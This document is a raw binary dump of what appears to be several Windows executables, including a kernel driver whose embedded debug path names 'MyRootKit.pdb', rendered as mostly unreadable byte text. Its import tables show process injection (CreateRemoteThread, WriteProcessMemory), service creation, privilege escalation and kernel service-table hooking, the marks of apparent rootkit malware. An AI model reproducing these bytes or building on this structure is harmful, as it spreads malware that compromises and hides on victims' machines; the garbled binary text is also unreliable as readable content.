MZ@ !L!This program cannot be run in DOS mode. $\ıııııȾı ııİpıўııııRichıPELdP(cHP.text24 `.rdataP8@@.datapV@.rsrc>@\@@.relocJ@BUl$(SV5\QqWh,RqRqS֋=`QqPhQqSuqP3Wj-PPVDžP(-9XtPPV-uhPPV-9XtPhQqGYYtPhQq,YYt~tPhQqYYtgtPhQqYYtPtPhQqYYt9tPhQqYYt"PPV,Quq_^[tjtQq3xSVWhPRqh@RqPQqP`QqhNu5TQq3SSjhqSS֋=XQqPSSjh6qSSP_3^@[UVVP5uqDQqPHQq \tHyƄt(VPLQqPPYY@^3PPt$t$PPTQqà SUVWQq3VVV8QqPQqjVVVD$$PQq=\QqhPRqhRq׋`QqPӋTu4h|RqVVVYYhVhq*YYh95qqt:;tVVVh6qVhqVhq;q95$qqt Vh9qYY95(qqt Vh@=qYYh0uVh%qVhlq_^]3[ U} uzV2EuqhP3VDQqPHQq;|\tHy@hRqPYYVt ^V VVh[qVVTQq^3@ UQE MV3v҈F;rE3mtDSFH;urE [^x T(HyUEPj(4QqP8PquÍEPuju3^3@^U8SWhPRqhRq\QqP`QqEg hUhPLQqht]qPPqPjfhp]q5uq P3WWjWWhh`]qpPq؃VVUS}9}YtSY=XQqjjQPEDž(EPYt'}t!uS YYuVUS7YYPucuu׃}t hUqS^_3[ht$ Pqt$t$ Pq3USWhPRqhRq\QqP`Qqj@Y33ۈfhP5uqDQqSSjSjhPpPqMSSSjSPlPqSSSjP`Pq_[USVWEPEPZfYYE3΍fSP5uqPqf3΍f39=$uqtT$uqSQ0 PPPqthuWPlG>uu5XQqu_^3[U E SVWuP5uqPqV5uqPqV5uqPqWE Pqu PX3u j@tPqM ؋PSPqt3Mu4ȃu$fuHfh(^q3h ^qu\QqP`QqEPEPu S׋MHXEPEPu SVhjVjh@upPqVEPu uSWPqWXQqFS$Qq_^[U4SVWhPRqhRq\QqP`QqEhp^qPpQquPPqPPq\hPLQq5Qqj@Yu 3ƅfPh`^qPփfe3}ޫfE jdYd3ERhH^qPU QqEPSPPjghp]q$hU3E}u Eh<^qPuEuPEPPh _^[SVWh?3VVPqVVVVVt$(jjjht$8t$qdPD$l$l$+SVWEePEEEEdËMd Y_^[QVC20XC00USVWU] E@EEEECs {S t{t} vD tYVUk33333]^] t?xH{SkVS vjDGC D33333Ћ{ v4댸#EHUkjSq]]_^[]UL$)APAPL]USVWUjjh?qu]_^[]ËL$AtD$T$SVWD$Pjh?qd5d%D$ Xp t.;t$$t(4v L$H |uhD@Td _^[3d y?quQ R 9QuSQuq SQuqMKCk Y[U SVu^udEEH;ىMr ;Xs3W~ u3@3҉UËt;ExtEB ;v}tF;E";vq3~9k,kk kjjjjjjkkllkgg,g>gNgdgrggggggggghh2h>hNh^hphhhghhhhhhh i ik,kk kjjjjjjkkllkgg,g>gNgdgrggggggggghh2h>hNh^hphhhghhhhhhh i iGetCurrentThreadId:GetCurrentProcess`CreateProcessAGetStartupInfoAzOpenProcessGlobalFreeGetTickCountGetTempPathAFreeLibraryRLocalFree^MapViewOfFilecUnmapViewOfFileGetVersionExANCreateFileMappingAMCreateFileAGlobalAllocdCreateRemoteThreadwGetModuleHandleAWriteProcessMemoryGetSystemTimelstrcatADeviceIoControllstrcatWGetSystemDirectoryWlstrcmpiWvGetModuleFileNameWWriteFile,IsBadWritePtr[LockResourceFSizeofResourceMLoadResourceFindResourceAlstrlenWlstrcpyWPCreateFileW HeapFreelstrcpynAHeapAllocGetProcessHeaplstrcmpiADuplicateHandleNTerminateJobObject AssignProcessToJobObjectTCreateJobObjectAILoadLibraryExAlstrcpyAGSleepWaitForSingleObject SetFileAttributesASetEndOfFileSetFilePointer=CopyFileAFlushFileBuffersRemoveDirectoryAKGetDriveTypeAnGetLogicalDriveStringsAKERNEL32.dllPeekMessageAPostThreadMessageAGetInputStatewsprintfAwsprintfWUSER32.dllAdjustTokenPrivilegesMLookupPrivilegeValueAOpenProcessToken_CreateProcessAsUserA4SetSecurityInfoSetEntriesInAclAGetSecurityInfoRegCloseKeyRegSetValueExARegCreateKeyExARegOpenKeyExA>StartServiceAdCreateServiceAOpenServiceAOpenSCManagerADeleteServiceBControlService>CloseServiceHandleGLookupAccountSidAGetTokenInformation9SetServiceStatusRegisterServiceCtrlHandlerWADVAPI32.dllNtQuerySystemInformationNtQueryObjectRtlEqualUnicodeStringvRtlInitUnicodeStringRRtlUnwindntdll.dllInterlockedExchange{VirtualQueryd?!47Ì51034 4 <%'77Ì51034 4 <#'!ɉ4?=== <%όɉ <& \q\q\q\q|\ql\q`\qT\qH\q8\q(\q\q\q\q[q[q[q[q[q[q[q[q[q|[ql[q`[qT[qD[q8[q([q[q [q[qZqZqZqZqZqZqZqZqZqxZqhZqXZqPZqDZq4Zq(ZqZqZqZqYqYqYqYqYqYqYqYqYqYqYqxYqpYqdYq\YqHYq L ( dh:I:T T nr9=RSDS AHmF:\0\RK\objfre\i386\MyRootKit.pdb 4 p   0 T d n > L ( IofCompleteRequestbIoGetCurrentProcessObReferenceObjectByHandlemPsLookupProcessByProcessIdZwOpenProcessMmMapLockedPagesMmBuildMdlForNonPagedPoolMmCreateMdlOZwTerminateProcessEKeServiceDescriptorTable[IoFreeMdlMmUnmapLockedPagesMmGetSystemRoutineAddress RtlInitUnicodeStringZwCloseIIoDeleteDeviceKIoDeleteSymbolicLinksprintf6ProbeForWrite5ProbeForReadAIoCreateSymbolicLink8IoCreateDevicentoskrnl.exeh_except_handler3MKfLowerIrqlDKeRaiseIrqlToDpcLevelHAL.dll 3383A3L3d333334 44 41484A4F4R4X4]4k4q4w4444444444444445F5V5a5o5u555D6M6^666666777M7[7e777788888888888889 99h9n9::$:(:4:8:@:D:L:P:MZ@ !L!This program cannot be run in DOS mode. $M"D C* C* C* C++C*`3 C*`6C*`C*Rich C*PEL;I  <.text h.rdata@H.data\@INIT| .relocD@BL$I3 y,uI ũ|$ Vt$ F(NF(NHtW~tWW_jjv,V^ UV5WEEEP3WEPj }}hDdk uW;ljEt~MQuPj օ}WbE98p}vSS^j\SYYt@uPYYtEEM;rFEE tN [juE_^UQQVu~t"h EPEPv3^USV5EEEP3SEPj ]]hDdk uS;ÉEt}MQuPj օ} SuaE9Wx]vJ_j\SYYt@uPYYtEEM;r GEE3SP_E^[ObReferenceObjectByName\Device\HardDiskVolume%dUl$3SW3ۈ]<}=fj3f]Y}f(;É]TE\tE]aE^tE_eE`|Ea;EbfEclEdfEhiEiqEjGEk\ElCEmPEnGEoiEpTEqAErTEsEEt\3L\L<@ r3Lh5ffLE@ rVE>>>>*?N?m?|?????`0E0O0`0z011232@2223733333333454Y4b4l4w4}4444444445 55#5@5F5L5MZ@ !L!This program cannot be run in DOS mode. $ݩqܙBBERichPELP>>>>>>>>>>>? ???%?6?`?f????? h 00%0L0T000000000001B1G1T1h11111111122+232P2^2g2q22222222 333!3(3M3U3^333333333344H4455"5(5/5Y5_5x55555 6696i6666666666?7F7O7V7777777777788)8/8[88888 929?9S9999999#:(:.:5:A:x:::::::;;f;~;;;;5<::>]>c>|>?/?H?c???????0T 00#0,060<0A0H0M0d0x001w1|111111112?2T2[2b22233333464L4Q444E5K5P5Y5a5o5t555552686O66666666666l7s777777777778>8i8x888889_9y9999999:::!:':4:H:Z:z:::::::::;;*;?;O;V;];h;|;;;;;;;< <<<&<6>>$>*>0>5>??@8B0\0e011/1111112 22)202A2H2V2j2~222PT?X???` d3h3p@2D2H2L2P2T2X2\2`2d2h2l2p2t2x2|222222222222222222222222222222222333 33333 3$3(3,3034383<3@3D3H3L3P3T3X3\3`3d3h3l3p3t3x3|333333333333333333333333333333333444 44444 4$4(4,4044484<4@4D4H4L4P4T4X4\4`4d4h4l4p4t4x4|444444444444444444444444444444444555 55555$5(5,50545@5D5H5L5P5T5X5\5`5d5h5l5p5t5x5|55555555555